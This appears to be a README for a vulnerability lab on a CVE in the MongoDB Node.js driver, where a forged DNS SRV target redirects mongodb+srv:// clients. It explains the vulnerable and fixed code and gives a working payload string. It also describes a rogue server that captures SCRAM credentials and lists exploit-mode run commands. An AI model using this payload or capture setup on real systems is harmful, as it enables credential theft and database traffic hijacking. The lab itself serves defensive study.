
Containerized differential lab and PoC for CVE-2026-126837, demonstrating SRV target redirection in the MongoDB Node.js driver and SCRAM credential capture on 7.7.0 vs 7.8.0.
| Field | Value |
|---|---|
| CVE | CVE-2026-126837 |
| Component | MongoDB Node.js driver (mongodb, mongodb/node-mongodb-native) — Initial DNS Seedlist Discovery |
| Affected | 3.3.3 .. < 7.8.0 (semver) |
| Fixed in | 7.8.0 (commit 19e2d3b83, NODE-7830) |
| CWE | CWE-180 — Validate Before Canonicalize |
| CVSS | 4.0 — 9.1 CRITICAL (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N); 3.1 — 7.4 HIGH |
| Impact | Redirection of database traffic to an attacker host: credential interception (SCRAM proof offline-crackable), unintended disclosure of application data, altered query results |
| Vector | Forged or attacker-influenced DNS SRV response for a mongodb+srv:// connection string |
| Trigger | SRV target name containing #, ?, or / before the parent-domain suffix |
| Credit | Vendor advisory (no reporter named in the CVE record) |
A validation flaw in the driver's SRV parent-domain guard lets a party who can forge or modify
the DNS SRV response redirect a mongodb+srv:// client to any host of their choosing. The guard
compares the SRV target against the parent domain with a plain endsWith on a string whose
syntax was never validated; the driver then re-parses the same string as a URL, where #, ?
and / terminate the host name early. The connection is established to the attacker host with
TLS turned against the victim: the certificate is validated against the redirected name, which
the attacker legitimately owns. The client then sends its SCRAM authentication exchange —
including a client proof derived from the password — to the attacker. Applications using plain
mongodb:// URIs are not affected.
The vulnerable guard, src/utils.ts:1158 in v7.7.0:
export function checkParentDomainMatch(address: string, srvHost: string): void {
// Remove trailing dot if exists on either the resolved address or the srv hostname
const normalizedAddress = address.endsWith('.') ? address.slice(0, address.length - 1) : address;
const normalizedSrvHost = srvHost.endsWith('.') ? srvHost.slice(0, srvHost.length - 1) : srvHost;
const allCharacterBeforeFirstDot = /^.*?\./;
// Remove all characters before first dot
const addressDomain = `.${normalizedAddress.replace(allCharacterBeforeFirstDot, '')}`;
...
if (!addressDomain.endsWith(srvHostDomain)) {
throw new MongoAPIError('Server record does not share hostname with parent URI');
}
}
The guard strips one trailing dot, removes everything up to the first ., and calls
endsWith. It performs no syntax validation of the SRV target. The validated string then
flows to HostAddress.fromString() and is re-parsed in the HostAddress constructor
(src/utils.ts:890):
const urlString = `iLoveJS://${escapedHost}`;
url = new URL(urlString);
...
const hostname = url.hostname;
The arithmetic that breaks, for SRV host cluster0.lab.mongodb.test (parent
.lab.mongodb.test) and forged target evil.attacker.test#.lab.mongodb.test:
guard: "evil.attacker.test#.lab.mongodb.test"
remove everything before first dot -> tail ".lab.mongodb.test" retained
-> endsWith(".lab.mongodb.test") = TRUE -> guard PASSES
URL parse: iLoveJS://evil.attacker.test#.lab.mongodb.test:27017
"#" starts the fragment -> hostname = "evil.attacker.test", port falls back to 27017
-> driver connects to evil.attacker.test
The # never blocks the suffix comparison because the guard compares the raw string tail
(whose # sits before the suffix), while the WHATWG URL parser treats the same # as the
fragment delimiter and truncates the host name.
The fix in 7.8.0, src/utils.ts:1185-1216, canonicalizes before validating:
const FORBIDDEN_DOMAIN_CODE_POINTS = /[\u0000-\u0020\u007F#%/:<>?@[\\\]^|]/;
export function dnsNameToASCII(name: string): string | null {
if (FORBIDDEN_DOMAIN_CODE_POINTS.test(name)) {
return null;
}
const ascii = /^\p{ASCII}*$/u.test(name) ? name.toLowerCase() : domainToASCII(name);
return ascii === '' ? null : ascii;
}
export function normalizeDnsName(name: string): string {
const withoutTrailingDot = name.endsWith('.') ? name.slice(0, -1) : name;
const normalized = dnsNameToASCII(withoutTrailingDot);
if (normalized == null) {
throw new MongoAPIError('Invalid DNS host name');
}
return normalized;
}
Applied at the single SRV call site, src/connection_string.ts:128-130:
const host = normalizeDnsName(name);
verifySrvHost(host, lookupAddress, options);
return HostAddress.fromString(`${host}:${port ?? 27017}`);
Any #, ?, / or other WHATWG-forbidden code point now throws MongoAPIError: Invalid DNS host name before the guard, before HostAddress.fromString, and before any socket is opened.
One container image (cve-2026-126837:vuln) carries the entire differential:
lab/src/dnsd.py) on 127.0.0.1:53 — the container's
/etc/resolv.conf points at it, so every name resolution (including Node's c-ares SRV
lookup) goes through attacker-controlled DNS. It answers the SRV query
_mongodb._tcp.cluster0.lab.mongodb.test with the attacker-chosen target and resolves
evil.attacker.test to 127.0.0.1;lab/src/evilserver.py) on 127.0.0.1:27017 — TLS endpoint with a
certificate issued by the lab CA (stand-in for the publicly-trusted certificate an attacker
holds for its own domain), speaking enough MongoDB wire protocol (OP_QUERY ismaster,
OP_MSG hello/saslStart/saslContinue) to complete the SDAM handshake and capture the
SCRAM-SHA-256 exchange;lab/src/service.js) — runs each connection attempt with a child
process of the selected driver build (so a driver-level failure is observed rather than
taking the service down) and exposes the attacker's and the DNS server's observations over
HTTP;vuln = [email protected], fixed =
[email protected], plus v6 = 6.22.0, v5 = 5.9.2, v4 = 4.17.2, v3 = 3.7.4 for the
affected-range matrix.The vulnerable and fixed sides differ only in the driver package version: same base image, same DNS server, same attacker listener, same service, same connection attempt.
./run-lab.sh build # build lab + poc images
./run-lab.sh up # create network cve126837lab, start lab, wait for health
./run-lab.sh all # build, up, every PoC mode, capture evidence/, down-state logs
Individual modes:
./run-lab.sh poc check --driver vuln # exit 1 = vulnerable
./run-lab.sh poc check --driver fixed # exit 0 = safe
./run-lab.sh poc exploit --driver vuln # full SCRAM credential capture
./run-lab.sh poc probe # companion primitives, differential
./run-lab.sh poc mitigation --driver vuln
./run-lab.sh poc sweep # 42-payload 0-day sweep on both builds
./run-lab.sh poc versions # 3.x .. 7.x affected-range matrix
./run-lab.sh state # copy DNS/attacker logs into evidence/
make build|up|down|check-vuln|check-fixed|exploit-vuln|exploit-fixed|probe|sweep|versions|all
mirrors the same targets. The PoC itself is stdlib-only Python 3 and also runs directly as
python3 poc/poc.py <mode> against any reachable lab service.
poc/poc.py, six modes, stable exit codes: